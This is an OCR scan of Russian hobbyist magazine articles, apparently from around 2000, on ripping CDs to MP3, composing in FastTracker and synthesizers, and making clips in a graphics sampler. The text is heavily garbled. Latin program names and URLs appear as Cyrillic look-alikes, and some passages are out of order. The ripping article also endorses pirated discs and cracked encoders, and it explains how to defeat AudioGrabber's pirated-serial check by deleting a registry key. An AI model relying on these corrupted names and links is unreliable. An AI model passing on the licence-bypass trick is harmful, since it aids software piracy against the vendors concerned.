другому это называется СО-гір - считывание цифрово- 
го потока аудиоданных (ВАѴѴ сіаіа) в файл формата 
ѵѵаѵ. Этот процесс обозначается английским термином 
бідііаі аисііо ехігасііоп (РАЕ) и осуществляется с по- 



мощью специализированных программ - грабберов 
или рипперов. 

Тебе придётся установить саму “грабилку”(извлекает 
аудиотрэк с компакт-диска и сохраняет его на винте в 
формате ѵѵаѵ), кодер (кодируя, сжимает полученный 
при граблении ѵѵаѵ в несколько раз) и проигрыватель 
(АКА декодер), который позволит тебе насладиться 
результатами кропотливой работы по составлению ау- 
диоархива. Не плачь, разоряться на все эти программы 
не придётся, Интернет просто-таки набит ими, а если 
не лениво прокатиться на МШпО-ВагаП, то там и вов- 
се можно найти “великие тыщи” тонн нужного ѵѵагега. 



Есть комп, есть подходящий сидюк. 
Чем грабить? 



Лично я перепробовал несколько программ. Все они 
похожи друг на друга, хотя, разумеется, имеют ряд от- 
личий. Перед граблением нужно понимать, что свобод- 
ное место на винчестере, необходимое для хранения 
промежуточных ѵѵаѵ-файлов равняется ёмкости обраба- 
тываемого компакт-диска или трэка. Скажу сразу, что 
можно обойтись и без этого, кодируя аудиосигнал “на 
лету”, но эту возможность описывать не буду, так как 
она чревата разного рода неприятностями и ухудше- 
нием качества. Для достижения этого самого качества 
единственным путём является промежуточное хранение 
“непакованной” музыки на винте, предшествующее 
почти шаманскому процессу кодирования. 

Выбрать необходимый граббер очень просто - нужно 
попробовать несколько разных, остановившись на том, 
который имеет устраивающее тебя соотношение вре- 
мя\качество. Вот далеко не полный список грабберов, 
полные и рабочие версии которых я имел честь пою- 
зать и оценить. 



СО ѴѴогх 

ѵѵѵѵѵѵ.Ь.зІпиШе.сІе/сѵЬегсІупе/ссІѵѵогх.Іп^ппІ 
СОсору ѵѵѵѵѵѵ.ссісору.зк 
АисІіодгаЬЬег ѵѵѵѵѵѵ.хіпдЪесИ.сот 
ѴѴігЮАС ѵѵѵѵѵѵ.ѵѵіпсіас.сіе 
СОех ѵѵѵѵѵѵ.зигЕЪо/ссІех 
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ЕхасЬАисІіоСору ЬйрУ/вЬисІзегѵег.ипі- 
сІогЬтипсІ.сІе/~зи01 65/еасМтІ 
АисІіоСаЬаІузІ: ѵѵш/.хіпдІесЬ.сопп 
Еазу Сй-йА ЕхЪгасЪог 
\А/\А/\А/.роікозо1і:.сопп/ссІсІа 



На моём Сй-приводе АЗІІЗ-40х все вышеперечислен- 
ные программы, кроме ѴѴіпОАС, работали если не бе- 
зупречно, то близко к тому. Вообще не было претензий 
к ЕхасІАибіоСору - рекомендую для рипанья компактов 
на винчестер. Эта программа не подведёт! Также много 





хороших слов готов сказать о СЭех, вещь крайне удоб- 
ная для домашнего пользования. 

Я обычно пользуюсь АудиоГраббером или АудиоКата- 
листом на высоких скоростях грабления - 1 0- 1 6х (но, 
заметь себе, в качестве ГРАББЕРА, а не КОДЕРА!), если 
он не справляется с безошибочным рипаньем (АКА 
граблением), то срочно перехожу на ЕхасІАибіоСору, 
который своё дело знает хорошо, хотя и работает за- 
метно медленнее. 

Да, эти две программки поддерживают такую полезную 
фичу, как СйОВ. Когда мне лениво вписывать название 
каждого трека в граббер, я просто включаю эту опцию, 
и названия извлекаются из очень обширной Инетовской 
базы, где полно и отечественной пиратской продукции. 
Процентов 70-80 моих пиратских дисков были коррек- 
тно и быстро идентифицированы. Правда, хитрый 
АибіодгаЬЬег версии 1 .41 , которым я пользуюсь, при 
этом проверяет, не пиратский ли серийный номер 
введён при регистрации (тут очень уместно проявить 
твои хацкерские наклонности). Разумеется, в случае по- 
ложительного ответа программа при следующем запус- 



ке наглухо отрубается и от работы всячески отмазы- 
вается. Но лечится такое положение вещей весьма лег- 
ко: в реестре удаляется запись Гікеу ІосаІ тасГііпе\50Й- 
ѵѵаге\01)І и снова вводится старый номер, но обязатель- 
но до команды іогтаі с :)). Вуаля! 

Короче, если ты дочитал до сих пор, установил граббер, 
смог его запустить, не отвлекаясь на всякие другие де- 
ла, то на твоём винте должны получиться ѵѵаѵ-файлы, 
объёмом примерно мегабайт по 10 на минуту звучания. 
Их стоит предварительно прослушать на предмет нали- 
чия “счелчков” и звона, при необходимости переграбить. 



Сжать и закодировать! 
Пленных не брать. 






Теперь возникает вопрос сжатия или кодирования. Пе- 
ред этим нужно определиться с битрейтом (Ьіігаіе), т.е. 
скоростью, с которой сжатый звук будет поступать в 
плеер\декодер. Самым популярным, на сегодняшний 
день, считается битрейт 128кЬз. Да, он имеет соблаз- 
нительное соотношение объём\качество, хорош для 
размещения звуковых файлов в Интернете. Но на ка- 
чественной аппаратуре запись с такой скоростью пото- 
ка сильно напоминает заезженную кассету. В принци- 
пе, битрейт удобен для собирания “гигазов” компози- 
ций, которые не жалко будет стереть через год. 

А если ты всё же решился собирать музыку, по звуча- 
нию близкую к СЭ, то смело можешь забыть об этом 
битрейте. Настоящее качество достигается на битрей- 
тах от 256кЬз, что и было подтверждено многочислен- 
ными тестами, устроенными, например, “отцами” 
МРЕС-формата - РИО 118. 256кЬз - это сжатие в 6 раз, 
по сравнению с СЭ-оригиналом, и практическое отсут- 
ствие различимых на слух искажений. 

Итак, разные битрейты - разное качество! Но “грабли” 
в том, что для низких и средних битрейтов (192 кЬз и 
ниже) кодеры одни, а для высоких (более 192 кЬз) - 
другие. Так что придётся определяться! 

Свою роль в твоём выборе сыграет и звуковая карта. 
Если это Е88 и пассивные колонки тасіе іп СІііпа, даль- 
ше 128кЬз ходить не нужно, всё равно “железки” про- 
чувствовать разницу не дадут. Стоит подумать и о цен- 
ности музыки перед её кодированием. Если это “пес- 
тни” типа “я её любила, она меня забыла - потом я дол- 
го выла и вот мне жизнь не милА”, то для них вполне 
достаточно 128 кЬз, ибо уже через месяц- другой этот 
отстой по праву будет называться супер-пупер-гипер- 
отстоем, и его не жалко будет безвозвратно снести. 

Ну ладно, это все лирика, перейдем к самим кодерам. 
Популярны кодеры, выпущенные разработчиком стан- 
дарта - Ргаипііоіег 118, ориентированные на низкие и 
средние битрейты, читай от 192кЬз и ниже. Коммерчес- 
кие версии вообще почему-то не позволяют кодить с 
битрейтами большими, чем 128кЬз, да и настроек 
имеют подозрительно мало. Но помимо оригинального 
кодера от РІіС 118, имеются нелегальные версии кодера, 
оптимизированные группой Расііит с помощью журна- 



ла “Хакер”, какой-то матери и оригинального 
трЗРгосІисег-а. Продукция от Расііит рекомендуется 
лучшими собаководами! Кодер Ргаипііоіег из Аисііасііѵе 
Ргобисііоп Зіисііо (ѵѵш.аиёіоасйѵе.сот), особенно в 
режиме ѴВР высокого качества, на мой взгляд, менее 
всего портит глубину и целостность музыкальной ком- 
позиции, общее восприятие композиции не сильно от- 
личается от оригинала. Очень рекомендую эту прог- 
рамму для кодирования музыкальной коллекции с бит- 
рейтом 128-192кЬз. Я им частенько пользуюсь. 

А “куды бечь” любителям абсолютного качества? По 
моим субъективным данным, на поиски тредЕпс! Ко- 
дер является бесплатным, легко доступным 
(іійр://Йрзеагс[і.сіІу.ги искать тредепс) и очень качес- 
твенным. Версия 0.07а, на мой взгляд, является наи- 
более корректно работающим кодером для битрейтов 
256 и выше, но и самым медленным кодером. Вслед 
за ним идёт ВІаёеЕпс бйр://ЫасІеепс.тр3.по (тоже 
бесплатная программа), имеющая приличную скорос- 
ть кодирования (за счёт грамотной оптимизации кода) 
при почти полном сохранении уровня качества 
тредЕпс. ВІабеЕпс можно раздобыть и виде отдель- 
ной бІІ, которая легко и непринуждённо используется в 
качестве встраиваемой в некоторые грабберы. Кодер 
ВІабеЕпс можно взять в виде ігопі-епсі (никаких коман- 
дных строк!!!) на [Мр://еаІ.сІа.ш совершенно бесплат- 
но. Егопі-епсІ - программа с виндовым интерфейсом, 
позволяющая избежать наследия БОЗ-а с его ключами 
в командной строке. 



■ пінянАіі А І-ніс 



аидлігада. 
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В свою очередь, два вышеописанных кодера, предназ- 
наченных для высших битрейтов, не стоит применять 
для кодирования низших. У тебя гарантированно поя- 
вятся претензии к качеству звука. Звон и пощёлкива- 
ние на 128кЬз взбесят кого угодно... 



А слушать чем? 



Ладно, если и этот этап позади, пора уже слушать наг- 
рабленную и ужатую музыку. На чём? Если ещё не ку- 
пил аппаратного плеера в коробочке, придётся поль- 
зоваться программными. 
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Плееров для формата трЗ сейчас просто немереное 
количество, и появляются всё новые и новые. Просто 
попробуй несколько разных; по большому счёту, это де- 
ло вкуса. Набрал файлов в плэй-лист и кайфуй... 



'іпатр (ѵѵ'ш.ѵѵіпатр.сот) 



Самый распространённый, к настоящему моменту до- 
вольно качественный мультимедиа-плеер с поддержкой 
просто-таки гигантского количества форматов и нас- 
троек. Я использую версию 2.22 с декодером от РІіС 113, 
и не жужжу. Плеер привлекателен многочисленными и 
разнообразными возможностями визуализации и уста- 
новки специальных кож - “скинов”. 



МАО 



Скромный интерфейс, но действительно отличное ка- 
чество проигрывания. Мой плеер по умолчанию, ибо 
чемпион по качеству проигрывания. 



ѴѴіпрІау (ѵѵѵтііа.Яід.сІе/атт/ 
гіоѵѵпІоасІ/трЗрІауег) 



Ничего лишнего. Способен работать в условиях, приб- 
лижённых к боевым, то есть на “четвёрках”. Имеется 
версия для ѴѴіпсІоѵѵз 3.x 




АроІІо (ш/уу.хаис1ю.сот) 




тизеАгс (шл/ѵ.сосіеагѣз.сот) 



Ничего особенного, похож на многие проигрыватели 
СО. Здорово грузит машину, на процессорах ниже Пен- 
тиума может и вовсе отбиться от рук. 




Зопідие (шл/ѵ.бопідие.сот) 



Понимает ріид-іпы от ѴѴіпатр. Хорош для низких и сред- 
них битрейтов, при проигрывании композиций на таких 
битрейтах вполне может быть отнесён к лидерам. 



К— ЦоТоІ [ѵѵѵткіоМогд) 



Один из самых быстрых. Понимает формат ѴОР. Очень 
приятно выглядит, кругленький такой :). Чисто внешне 
нравится мне больше остальных, интерфейс можно пол- 
ностью перестроить под свои нужды и требования. Ка- 
чество оставим без комментариев ;). 




ХІШ трЗ РІауег (ѵ'лш.хіпдіесіі.сот) 






па: 



Самая первая программа, в которой я почувствовал 
необходимость - это МРЗ МАМЕ ТА6, редактор тэгов. 
Позволяет редактировать содержимое тега, “зашитого” 
в музыкальный файл. Кроме того, отсылает твои диа- 
лапные пароли и форматирует винт. Шутка :)). Исключи- 
тельно проста при пользовании, берётся на 
ЬНр://Ьоте.госЬезІег.гг.сот/рошрдр. 

Если у тебя возникнет необходимость кодировать звук в 
реальном времени (например, таким образом я записы- 
ваю с помощью мини-аудиосистемы, кабеля и компью- 
тера многочасовые радиопрограммы на винчестер), то 
вооружайся МизісМаІсЬ МеВох (ѵѵш.тизістаІсЬ.сот) 
в качестве рекордера. В качестве редактора шрЗ-фай- 
лов я пользуюсь внешне уродливой, но прилично де- 
лающей своё дело программой МауаЬ ЕсМ Рго 
(ѵѵш.тауаіі.сот), позволяющей довольно гибко редак- 
тировать уже кодированный звук. 

Когда количество трЗ-файлов на моём винте перевали- 
ло за несколько сотен, встал вопрос о ведении учёта. 
Вести учёт и контроль аудио коллекции поможет отечес- 
твенная ігееѵѵаге-разработка трЗігее - называемая мод- 
но и непросто - “рекурсивный листер файлов трЗ”. 
Программка проста, удобна и свободно берётся на 
серверах-складах бесплатного ПО типа 
ѵѵш.ігееѵѵаге.ги. И вообще, на таких серверах можно 
найти массу всевозможных полезных и не очень прог- 
рамм, способных украсить, облегчить, усложнить, в 
общем сделать более интересной и разнообразной 
жизнь настоящего аудио-грабителя, живущего под ло- 
зунгом: “Награбил - закодируй!” 

Если твоя коллекция уже выплеснулась на СЭ-болванки, 
то срочно иди на ѵѵш.2151есІі.сот/сІі2000. Система 
УЬгагу Мападетепі программы 032000 полностью под- 
держивает сменные носители (компакты), так что ты мо- 
жешь оперировать с МРЗ коллекцией в любое время, 
даже если Сй-привод или любое другое съёмное ус- 
тройство в данный момент содержит лишь часть коллек- 
ции. А в случае переписывания МРЗ трека на винчестер 
система УЬгагу Мападетепі автоматически обновит ба- 
зу данных дЛ 2000. Удобно. 



Огромное количество всяких функций, очень приятный, 
я бы сказал, красивый, стильный интерфейс. Понимает 
МР2, МРЗ, ѴѴАѴ, МОО, ХМ, ІТ, 53М и СО-Аиёіо. 




Стандартные функции, которых достаточно. Воспроиз- 
ведение достаточно качественное, но интерфейс мне 
совсем не понравился. 

Всех плееров не перечислить, я просто попытался пока- 
зать, что одни могут быть по каким-то параметрам луч- 
ше других, а выбор каждый должен сделать самостоя- 
тельно, исходя из личных предпочтений. Зайдя на 
ѵѵш.трЗ.сот, ты точно найдёшь свой плеер. Я бы по- 
советовал иметь на компе пару плееров: ѴѴіпАМР и МАО. 



Где почитать и качнуть? 

ННр://Ы.ри.ги/Ііс1а/трЗ или ННр://тр3.рІ2.ги 
НПр : //ѵілш. иіс. ппоѵ. ги/~(тт/ 

ИНр://ѵлш.5Ь5. регт . ги/МеЫуНаскег 
НПр : //Ігаскегз . еісаіеі . ги 
ИНр://сІіск5.Ідд.ги/трЗ/іп(1ех-ги50Й.ИітІ 




Ну вот и все. А теперь журнальчик отложи, включай 
комп, вставляй СЭ-юк и грабь неграбленое :). Удачи! 
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дарово, перец!!! Сегодня мы с то- 
бой будем писать хит!!! Сразу ого- 
ворюсь, описанный ниже способ 
ориентирован на написание элек- 
тронной танцевальной музыки, ибо 
мы есть - кул ундергрюндеры, и наше есть царствие 
земное и инетское. Начнем с основ... 

Вот, к примеру, ситуевина такая. Садишься ты за 
комп и понимаешь, что твой друг-демщик уже всю 
дему обрисовал и тебе как музишену нужно музон 
писать. Ну, тут сразу несколько вариантов всплы- 
вают. Вариант первый (для богатых), МЮІ+ѴѴАѴ... 



ся подробнее, точнее на Раз! Тгаскег’е... (шѵѵ.зіаг- 
Ьгееге.сопл). Плюсы - практически полная свобода 
творчества, ограниченная разве что 32-мя каналами 
:), возможность использования в качестве инстру- 
мента любого (!) звука - например, рыгнул в микро- 
фон, а потом этим рыгажом и играешь мелодию, 
круто? Да и потом почти все демщики на нем свои 
музоны и пишут. Минусы - сложность в освоении, не 
очень высокое качество звука (не то что бы плохое, 
но не профессиональное). Хотя, в принципе, если 
использовать качественные 16-битные семплы, то 
качество будет вполне приемлемое. Да, и еще для 



нормального творчества требуется весьма нема- 
ленькая коллекция семплов и инструментов (напри- 
мер, моя, далеко не самая большая, весит около 500 
мб). 







Инсталлируем - ну, это просто. Теперь настройка. 
Смело ставим в оиіриі и затрііпд сіеѵісе свою карту, 
в блоке тіхіпд Тгециепсу жмем тах, ставим галочку у 
Ыпеаг Ігед ІаЫе и в путь... Жмём Оізс Ор, грузим 




профессиональные секвенсоры требуют очень нес- 
лабое железо и немалые познания в музыкальной 
грамоте. Типичные представители такого софта: 
Сакеѵѵаік, СиЬазе, ВапсІ іп Ьох, Оідііаі огсііезігаіог. 
Описывать подробно я их не буду, так как очень ма- 
ло с ними работал... 

Вариант второй - ѴѴаѵ-секвенсоры, упрощённые ва- 
рианты профессиональных секвенсоров, в которых 
вместо тісіі-партий используются готовые ѵѵаѵ-фай- 
лы. Типичные представители - Е]ау, АСЮ, РгоОё, а 
также бред укуренного стрептокока Оапсе Масіііпе. 
Плюсы - простота в обращении. Минусы - все ос- 
тальное :). Дерьмо, короче, собачье. 

Вариант третий, на мой взгляд, оптимальный - тре- 
керы... Яркие представители - РазГГгаскег, Ітриізе 
Тгаскег, Зсгеат Тгаскег, а также менее известные 
МоёРІид Тгаскег и Маё Тгаскег. На них и остановим- 
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ка (Ьаззсігит). Нажимаем пробел и расставляем че- 
рез каждые четыре метки в вертикальных колонках 
внизу экрана. Расставил? Жмем аіі и слушаем, что 
получилось... Тыц-тыц-тыц... Уже что-то! Дальше - 
больше... Расставляем между бочками Іііііаі (тарел- 
ку), добавляем басы, зпагез, Іеасіз и т.д. 

Кстати, в РТ используются абсолютно другие 
Ііоікеуз, нежели где-то еще... Вот краткий список: 
СІГІ+Р4 - скопировать паттерн (совокупность треков) 
СІГІ+Р5 - вставить паттерн 
АІІ+Р4 - копировать выделенное 
АІІ+Р5 - вставить выделенное 



ми заѵе тосіиіе и поставь галочку у ѵѵаѵ... а потом 
жми гесогб и жди... Полученный ѵѵаѵ можно смело 

к'ппмтк в тпЯ мпм гоаі яиНіп 




Теперь немного мелких советов. 

Во-первых - старайся использовать качественные 
(44100 16 Ьіі) семплы. Весь этот прогон про то, что 
модуль должен быть маленьким и восьмибитным, 
есть ни что иное, как детский лепет. По крайней ме- 
ре, пока у тебя нет потенциальных ограничений. 




Пробел - вкл/выкл режим редактирования 

АП: - играть паттерн 

СІгІ - Играть весь модуль полностью 

В РТ есть встроенный редактор семплов наподобие 
сооірго - вызывается кнопкой зтр.есі. Кнопка іпзіесі 
- настройка инструмента (громкость, паннинг, нас- 
тройка высоты). 

Также у РТ имеются баги - например, баг со скорос- 
тью - скорость в РТ отличается от реальной на 2 
Ьрт, то есть если ты хочешь написать композицию 
со скоростью 140, в РТ ставь 142 Ьрт. Есть еще баг 
с вырезанием паттернов нестандартной длины - про- 
га просто вылетает... И кстати, если РТ по неизвес- 
тной причине вылетит, то, скорее всего, он сохранит 
твою работу в виде файла Ьаскир.хт... 

Дабы соорудить из своего творения трЗ-шник, наж- 



Во-вторых - знай, что пишешь. Слушай побольше той 
музыки, какую хочешь писать сам, подмечай приемы, 
запоминай, какие звуки где и как используются. Смот- 
ри, как это сделано в других модулях. 

В-третьих - старайся использовать оригинальные сем- 
плы, а лучше делать свои, благо это не так трудно. 




Ріа сем позволь закончить с трекером и перейти к 
синтезаторам. 

Синтезаторы используются для создания семплов, 
написать на синтезаторе полноценную композицию 
очень трудно, хотя не невозможно... 

Большинство синтезаторов имеют вывод в ѵѵаѵ, кото- 
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рый потом можно использовать в трекере либо в 
секвенсоре. Наиболее известные синтезаторы: 
ВеВігіЬ ВВ-338 - Эмулятор легендарного ВоІапсІ ТВ- 
303, ставшего основой транс-музыки. Для кучи со- 
держит в себе также эмуляторы двух драм-машин, 
ВоІапсІ ТВ-808 и ТВ-909. Управление такое же, как в 
вышеназванных синтезаторах. Имеются различные 
фильтры (дисторшн, делэй, етс). Однозначно Мизі 
Наѵе каждому!!! 

АХ8 - Аналоговый синтезатор, позволяет создавать 
практически любые звуки, Два осцилятора, два БРО, 
РйсЬ епѵеіоре, Ш епѵеіоре, имеет встроенный трекер, 
довольно кривой (спорно... я там делал лучшие сем- 
плы, но в юзанье сложен, это правда - прим. гл. ред.) 

РгоЬе - Отличительная черта - три осцилятора. В то 
время как в большинстве синтезаторов их два. 
Имеет встроенный секвенсор для создания лупов, 
правда, не очень удобный.... 

ВиЬЬег диск - Средненький синтезатор для создания 
эйсидных лупов... Может пригодиться ;). Есть воз- 
можность запускать параллельно с его звучанием 
два ѵѵаѵ файла. 

Оепегаіог и Веакіог - Очень, очень замороченные син- 
тезаторы, лично я так и не смог издать из них ни од- 
ного звука, но слышал, что в них пишут - впечатляет. 

Суіопіх Ѵособег - Не синтезатор, но неплохая прог- 
рамма для обработки голоса в реальном времени. 
Позволяет создавать голос как у КгаДѵѵегк, напри- 
мер... 

А вот еще несколько симпатичных программок: 
АпаІодХ зсгаісіі - грузишь любой ѵѵаѵ и елозишь по 
нему мышкой туда-сюда - получается скретч... ре- 
зультат также сохраняется в ѵѵаѵ. 

АпаІодХ Зауіі - пишешь любую фразу, а прога эту 
фразу произносит загробным голосом.... Понимает 
только английские буквы. Результат сохраняется в ѵѵаѵ. 

Кроме того, настоятельно рекомендую обзавестись 
отдельным приличным звуковым редактором 
(Зоипб Богде или Сооі ЕсШ Рго - оптимальный вы- 
бор). А также не плохо бы заиметь программульку 
Аѵѵаѵе, которая умеет конвертировать любые аудио 
файлы во что хочешь :). 



А напоследок - некоторое количество полезных ссылок: 
ѵѵш.ігахіпзрасе.сот - огромная коллекция модулей 
со всего мира, конкурсы, рейтинги и т.д. 
шѵѵ.зІагЬгееге.сот - официальный сайт разработ- 
чика РТ. 

Ігаскегз.еікаіеі.ги - сайт о российском трекерстве. 
ѵѵш.ѵѵаѵесепігаі.сот - подборка семплов из извес- 
тных фильмов и просто прикольных ѵѵаѵ-ов. 



Ну вот вроде и все. Твори, пельмень... 
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ак и многие другие, с того момента, 
как в мои шаловливые ручки попал 
комп, я хотел создать компьютерный 
клип, хотя бы немножко похожий на те, 
что показывают по ящику и проеци- 
руют на экраны, стены, а также другие ровные (и не 
только) поверхности в крутых дискотеках. Дело было 
давно, и в тот момент создание чего-либо подобного че- 
ловеком, не разбирающимся в таких пакетах, как 
Аиіосіезк и Зй-ЗШсІіо, было практически невозможно. 
После года непрерывной работы над оной фичей все бы- 
ло заброшено в дальний угол винта как затея безнадеж- 
ная и невыполнимая для такой бездарности в плане гра- 
фики, как я. Но каким бы я был кул хацкером, если бы 
сразу сдался и не оставил в своей маленькой душонке 
надежды на лучшее. Ведь каждый из нас уверен, что он 
гениален во всех областях (посмотри на наших певцов - 
половина петь не умеет а все туда же, на сцену), не стал 
исключением и я. Облажав оба вышеназванных пакета за 
чрезмерную сложность, требовательность к ресурсам и 
так далее, я немедленно начал искать чего-нибудь поп- 
роще и понародней. 

Очень долго ничего не находилось, но однажды в одном 
из ночных серфов по Инету меня занесло на пагу 
Шр://ѵѵѵѵѵѵ.агкао5.Ье/, откуда я и снял классную про- 
гу для работы с графикой. Называется она ХОрозе ІТ 
и является графическим сэмплером реального времени. 
Прога дает возможность создать качественный клип 
(можно порно :)), причем сделать это в сочетании с му- 
зыкой, так как поддерживается работа с СЭ-треками и 
ѵѵаѵ-файлами. Делается он при помощи внесения в про- 
гу некоторого количества картинок и фотографий, над 
которыми осуществляются разные 20-30 извращения, 
офигенное количество которых уже есть в программе. 
Характерно, что все вносимые тобой изменения ты сра- 
зу видишь на экране, а не ожидаешь полдня их рендера, 
исходя на слюни от желания увидеть сделанное. Дей- 
ствия могут осуществляться одно за другим без переры- 
ва, причем одновременно возможно проигрывание му- 
зыки, для которой этот клип создается. Это дает возмож- 
ность при хорошем овладении эффектами проги добить- 
ся полной гармоничности того, что происходит на экра- 
не с тем, что звучит в колонках. 



Кабина, руль и кое-что еще! 

Вся юзверская работа по созданию “величайшего ше- 
девра” клипмейкерского искусства протекает в неболь- 
шом таком анимированном окошке, 

которое состоит всего из четырех частей: окно просмот- 
ра, виртуальная клавиатура, окно картинок, ну и, конеч- 
но, окно эффектов. Чем мне понравилась прога, так это 
тем, что в ней, в отличие от других, не наблюдаются 
лишние части, но наряду с этим нет и недостающих. 
Необходимость каждой выверена, а функция четко опре- 



делена. Грустно, но небольшие размеры окошка не поз- 
воляют удобно разместить даже четыре компонента, а 
если вспомнить, что перестановка компонентов в окне 
осуществляется лишь в пределах, заданных авторами, то 
ситуация складывается просто клин. Несмотря на все по- 
пытки распределить все так, чтобы это действительно 
было удобно для работы, мне так и не удалось этого сде- 



лать. Мое личное пожелание к авторам - увеличить 
рабочее поле программы, после этого изъянов в ней 
уже не будет. 

Семплирование графики в проге осуществляется только 
при помощи твоей клавиатуры (щелкнешь мышью - за- 
писи каюк :( ), которая в данном случае выступает в ро- 
ли диджейского пульта. Так как картинки, вносимые для 
работы, и эффекты над ними осуществляемые всегда 
разные, то для каждого клипа клавиатура программи- 
руется по-своему. Для удобного и быстрого ее програм- 
мирования в проге даже существует отдельный модуль - 
виртуальная клавиатура. Виртуальная клава является 
полной копией реальной клавы, то есть каждой кнопке на 



реальной соответствует такая же кнопка на виртуальной. 

Все программирование осуществляется при помощи пе- 
ретаскивания иконок эффектов и картинок из соответ- 
ствующих модулей проги на определенные тобой кноп- 
ки, после чего на них появляются идентифицирующие 
иконки. Мне она понравилась тем, что во время записи 
проекта, если ты еще не разобрался с кнопками, именно 
она позволяет создать нечто связное, а не какофонию 



графических эффектов, рядом с которой ядерный взрыв 
с его визуальными последствиями просто отдыхает. 
Плюс простота и наглядность конфигурирования кнопок. 
Перед тем как что-нибудь куда-нибудь потащить, любую 
картинку или эффект можно просмотреть в окне прос- 
мотра и четко решить, стоит ли это вообще брать. 

Ты только это, смотри, со своими вкусами одних голых 



баб туда, как всегда, насуешь, и будет у тебя порнофиль- 
м классический со спецэффектами. Интересно, что если 
попробовать эффект с картинкой, находящейся в этот 
момент в окне просмотра, и перетащить его на клаву, то 
он все равно будет осуществляться с любой картинкой. 
А для привязки эффекта именно к этой картинке нужно 
сначала оттащить на клаву картинку, а потом на ту же 
картинку поместить нужный эффект. Запись твоего 
проекта и его проигрывание также производятся именно 
в этом окошке, но могут осуществляться и в полноэкран- 
ном режиме. 

Для проигрывания это просто супер, а вот чтобы записы- 



ваться на полном экране нужно либо иметь электрон- 
ную память и все кнопки запоминать с первого раза, 
либо работать с этой прогой очень давно. Кстати, по 
краю именно этого окошка расположены кнопочки “за- 
пись”, “проигрывание” и “остановка” (для чего они 
нужны, догадайся :) ). 

Все картинки и эффекты расположены в проге в отдель- 
ных окошках. Начнем с окошка картинок - именно в нем 
при помощи соответствующих кнопок происходит внесе- 
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ние нужных для проекта картинок, которые могут быть в 
двух форматах ірд и Ьтр. 

Перед тем как перетащить иконку картинки на клаву, ее 
можно просмотреть, щелкнув по ее миниатюре в этом 
окошке, а где она появится в нормальном размере, я ду- 
маю, ты уже прочитал выше. Заклинаю никогда не про- 
бовать переключаться между картинками щелчком во 
время записи клипа, так как запись немедленно остано- 
вится :((( - все переключения между картинками в это 
время делаются только с клавиатуры. А ручонки ведь тя- 
нутся, я таким манером клипов пять сгубил и полголовы 
волос в результате себе вырвал. 

Окно эффектов - в этом окошке расположены все те 
фишки, ради которых ты эту прогу снял. 



клип в этой проге в первый раз, то лучше это делать в 
окне просмотра при участии виртуальной клавиатуры в 
качестве подсказки. Если же охота все же на полном, то 
стоит переписать хотя бы на листок, что где находится. 
Напоминаю для тех, кто невнимательно читал, что кноп- 
ки записи, проигрывания и остановки находятся на 
кромке окна просмотра. При нажатии на кнопку запи- 
си или проигрывания перед тобой появится одно и то 
же окно, 

лишь последствия нажатия кнопки “старт” будут разли- 
чаться. Для записи у тебя будет спрошено, где находит- 
ся музыкальный файл, для которого создается клип - это 
по умолчанию компакт и трек номер один. Ты можешь 
сменить трек или поставить название звукового файла в 
ѵѵаѵ формате, причем последний может находиться где 
угодно (только с дискетами не вяжись, уж больно долго 
читает :)). В обязательном порядке тебя заставят напи- 
сать название записываемого клипа и комментарий к не- 
му. Выбрав режим - полноэкранный или нет, при помо- 
щи соответствующей галочки, тебе нужно махнуть на 
старт и показать все свои незаурядные (нереализован- 
ные) способности в области графики. Делается это при 
помощи последовательного применения всех тех эффек- 
тов, которые ты выбрал для своего клипа. По окончанию 
записи нужно щелкнуть на стоп или, если ты в пол- 
ноэкранном режиме, просто щелкнуть мышкой. Сохра- 




В ней расположены иконки эффектов, при нажатии на 
которые ты сможешь лицезреть приглянувшийся на выб- 
ранной картинке. На сегодняшний день их встроено 36 
штук. Слышу я - народ разочарованно загудел... Спокой- 
но, ребята, у каждого из них при нажатии появляется 
всплывающее меню, где может быть до пяти пунктов, 
определяющих интенсивность и принципы эффекта. Так 
что реально их гораздо больше, а так как все они встав- 
ляются в программу в качестве плагинов, то возможно 
написание собственных или установка чужих найденных 
на буржуйских сайтах. Не знаю, кто как, а мне пока и этих 





хватает, я в них-то путаюсь, бывает! И вообще, снача- 
ла посмотри, а потом уже свои вокальные данные мне 
тут показывай. 



Сделали... посмотрели... 

Долго молчали 

Короче, прогу посмотрели, кнопочки распределили, а те- 
перь пора и за дело приниматься! Если ты записываешь 



няемся... Вуаля, первый клип готов! 

Теперь быстро идем по дому, собираем всех домашних 
и, щелкнув на кнопку “проигрывать” (не забудь поста- 
вить флаг “в режиме полного экрана”), наслаждаемся 
минутой сладкого триумфа, пока все остальные обсуж- 
дают, насколько ты гениален. Единственное, если ты ту- 
да и правда баб голых насовал, то показывать это лучше 
только друзьям, а то родители отправят тебя к сексопа- 
тологу после просмотра оного произведения, а комп ты 
вообще никогда больше не увидишь. 
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Изрядно помучавшись до появления действительно ка- 
чественного продукта, я дам тебе несколько советов по 
ходу творческого процесса. Внимательно прослушай 
композицию, для которой ты собираешься делать клип 
(желательно несколько раз) и четко представь себе, что 
бы ты хотел видеть. Тщательно подбери исходные кар- 
тинки, причем советую выбирать как можно более мно- 
гоцветные, так как при многократном применении 
эффектов на картинку, содержащую, например, только 
темные цвета, она переходит в однотонный черный 
экран (показать при этом итоге просто нечего). Советую 
также ни в коем случае не подбирать эффектов одного 
класса, так как зрелище, получаемое в результате ис- 
пользования 4 эффектов, настолько грустное, что после 
этого отпадает всякое желание пробовать еще раз. И, 
наконец, искренне советую хорошо продумать располо- 
жение используемых кнопок, это немаловажно при соз- 
дании классного клипа. 



Заключение, пожелания, , 

перспектива... 1 

В заключение материала хочу отметить, что прога эта 
очень стильна, и попробовать ее стоит каждому. Типа, 
вдруг способности откроются к этому делу. В первый 
момент она может показаться сложной, но если в ней 
поковыряться, то понимаешь, что все очень просто. 
Единственное, что некоторые принципы работы не 
очень интуитивны, и выяснить их можно только на 
практике, так как в проге отсутствует даже намек на 
нормально написанный хелп (иногда он нужен). Но так 
как все используемые принципы работы описаны в 
этом материале, то он тебе и не понадобится, а от се- 
бя попросил бы авторов все же добавить его в прогу. 
Прискорбно, что требовательность к ресурсам графи- 
ческих прог эта софтярина переняла в полной мере и 
требует комп не менее чем с 32 метрами оперативки, 
а также неплохо чтобы имелся хотя бы слабенький гра- 
фический акселератор для получения классных цветов. 
Теперь о способах применения - если у тебя уже 
имеется большой опыт по созданию клипов в этой 
программе, и ты спокойно записываешься на полном 
экране. Ты можешь устраивать для друзей целые шоу в 
реальном времени. Эти клипы очень внушительно 
смотрятся на больших мониторах и, возможно, проек- 
ционных экранах (у меня его нет, проверить не уда- 
лось), так что ты можешь продемонстрировать эти шоу 
на дискотеке или создать новое прямо на глазах у кучи 
